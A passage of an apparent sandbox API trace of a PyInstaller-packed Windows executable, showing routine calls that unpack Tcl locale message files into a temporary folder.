GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.929] CloseHandle (hObject=0x10c) returned 1 [0036.929] GetLastError () returned 0x0 [0036.929] SetLastError (dwErrCode=0x0) [0036.929] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af_za.msg") returned 64 [0036.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af_za.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\af_za.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.929] GetLastError () returned 0x2 [0036.929] SetLastError (dwErrCode=0x2) [0036.929] GetLastError () returned 0x2 [0036.929] SetLastError (dwErrCode=0x2) [0036.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af_za.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af_za.msg", lpFilePart=0x0) returned 0x3f [0036.929] GetLastError () returned 0x2 [0036.929] SetLastError (dwErrCode=0x2) [0036.929] GetLastError () returned 0x2 [0036.929] SetLastError (dwErrCode=0x2) [0036.929] GetLastError () returned 0x2 [0036.929] SetLastError (dwErrCode=0x2) [0036.929] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af_za.msg") returned 64 [0036.929] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af_za.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\af_za.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.965] GetFileType (hFile=0x10c) returned 0x1 [0036.965] htonl (hostlong=0xfb000000) returned 0xfb [0036.965] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.965] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0036.966] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.966] CloseHandle (hObject=0x10c) returned 1 [0036.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.967] htonl (hostlong=0x30000000) returned 0x30 [0036.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.967] GetFileType (hFile=0x10c) returned 0x1 [0036.967] htonl (hostlong=0x90295700) returned 0x572990 [0036.967] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bd990, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.967] htonl (hostlong=0xbd010000) returned 0x1bd [0036.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bd) returned 0x550600 [0036.967] htonl (hostlong=0xbd010000) returned 0x1bd [0036.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.967] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.967] htonl (hostlong=0xac070000) returned 0x7ac [0036.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7ac) returned 0x55e278 [0036.968] htonl (hostlong=0xbd010000) returned 0x1bd [0036.968] htonl (hostlong=0xac070000) returned 0x7ac [0036.968] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.968] CloseHandle (hObject=0x10c) returned 1 [0036.968] GetLastError () returned 0x0 [0036.968] SetLastError (dwErrCode=0x0) [0036.968] GetLastError () returned 0x0 [0036.968] SetLastError (dwErrCode=0x0) [0036.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.968] GetFileType (hFile=0x10c) returned 0x1 [0036.968] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.968] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.968] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.968] CloseHandle (hObject=0x10c) returned 1 [0036.969] GetLastError () returned 0x0 [0036.969] SetLastError (dwErrCode=0x0) [0036.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0036.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.969] GetFileType (hFile=0x10c) returned 0x1 [0036.969] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.969] CloseHandle (hObject=0x10c) returned 1 [0036.969] GetLastError () returned 0x0 [0036.969] SetLastError (dwErrCode=0x0) [0036.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar.msg") returned 61 [0036.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ar.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.969] GetLastError () returned 0x2 [0036.969] SetLastError (dwErrCode=0x2) [0036.969] GetLastError () returned 0x2 [0036.969] SetLastError (dwErrCode=0x2) [0036.969] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar.msg", lpFilePart=0x0) returned 0x3c [0036.970] GetLastError () returned 0x2 [0036.970] SetLastError (dwErrCode=0x2) [0036.970] GetLastError () returned 0x2 [0036.970] SetLastError (dwErrCode=0x2) [0036.970] GetLastError () returned 0x2 [0036.970] SetLastError (dwErrCode=0x2) [0036.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar.msg") returned 61 [0036.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ar.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.970] GetFileType (hFile=0x10c) returned 0x1 [0036.970] htonl (hostlong=0xac070000) returned 0x7ac [0036.970] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.970] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x7ac, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x7ac, lpOverlapped=0x0) returned 1 [0036.971] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.971] CloseHandle (hObject=0x10c) returned 1 [0036.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.972] htonl (hostlong=0x30000000) returned 0x30 [0036.972] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.972] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.972] GetFileType (hFile=0x10c) returned 0x1 [0036.972] htonl (hostlong=0x4d2b5700) returned 0x572b4d [0036.972] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bdb4d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.972] htonl (hostlong=0xa0000000) returned 0xa0 [0036.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa0) returned 0x55cfe0 [0036.972] htonl (hostlong=0xa0000000) returned 0xa0 [0036.973] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.973] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.973] htonl (hostlong=0x3010000) returned 0x103 [0036.973] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x103) returned 0x550600 [0036.973] htonl (hostlong=0xa0000000) returned 0xa0 [0036.973] htonl (hostlong=0x3010000) returned 0x103 [0036.973] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.973] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.973] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0036.973] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.973] CloseHandle (hObject=0x10c) returned 1 [0036.973] GetLastError () returned 0x0 [0036.973] SetLastError (dwErrCode=0x0) [0036.973] GetLastError () returned 0x0 [0036.973] SetLastError (dwErrCode=0x0) [0036.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.973] GetFileType (hFile=0x10c) returned 0x1 [0036.973] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.974] CloseHandle (hObject=0x10c) returned 1 [0036.974] GetLastError () returned 0x0 [0036.974] SetLastError (dwErrCode=0x0) [0036.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0036.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.974] GetFileType (hFile=0x10c) returned 0x1 [0036.974] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.974] CloseHandle (hObject=0x10c) returned 1 [0036.974] GetLastError () returned 0x0 [0036.974] SetLastError (dwErrCode=0x0) [0036.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_in.msg") returned 64 [0036.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ar_in.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.974] GetLastError () returned 0x2 [0036.974] SetLastError (dwErrCode=0x2) [0036.974] GetLastError () returned 0x2 [0036.974] SetLastError (dwErrCode=0x2) [0036.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_in.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_in.msg", lpFilePart=0x0) returned 0x3f [0036.975] GetLastError () returned 0x2 [0036.975] SetLastError (dwErrCode=0x2) [0036.975] GetLastError () returned 0x2 [0036.975] SetLastError (dwErrCode=0x2) [0036.975] GetLastError () returned 0x2 [0036.975] SetLastError (dwErrCode=0x2) [0036.975] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_in.msg") returned 64 [0036.975] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ar_in.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.975] GetFileType (hFile=0x10c) returned 0x1 [0036.975] htonl (hostlong=0x3010000) returned 0x103 [0036.975] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.975] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x103, lpOverlapped=0x0) returned 1 [0036.976] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.976] CloseHandle (hObject=0x10c) returned 1 [0036.977] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.977] htonl (hostlong=0x30000000) returned 0x30 [0036.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.977] GetFileType (hFile=0x10c) returned 0x1 [0036.977] htonl (hostlong=0xed2b5700) returned 0x572bed [0036.977] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bdbed, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.977] htonl (hostlong=0x51010000) returned 0x151 [0036.977] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x151) returned 0x550600 [0036.977] htonl (hostlong=0x51010000) returned 0x151 [0036.977] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.977] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.977] htonl (hostlong=0x14070000) returned 0x714 [0036.977] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x714) returned 0x55e278 [0036.977] htonl (hostlong=0x51010000) returned 0x151 [0036.977] htonl (hostlong=0x14070000) returned 0x714 [0036.977] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.977] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.977] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.977] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.977] CloseHandle (hObject=0x10c) returned 1 [0036.978] GetLastError () returned 0x0 [0036.978] SetLastError (dwErrCode=0x0) [0036.978] GetLastError () returned 0x0 [0036.978] SetLastError (dwErrCode=0x0) [0036.978] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 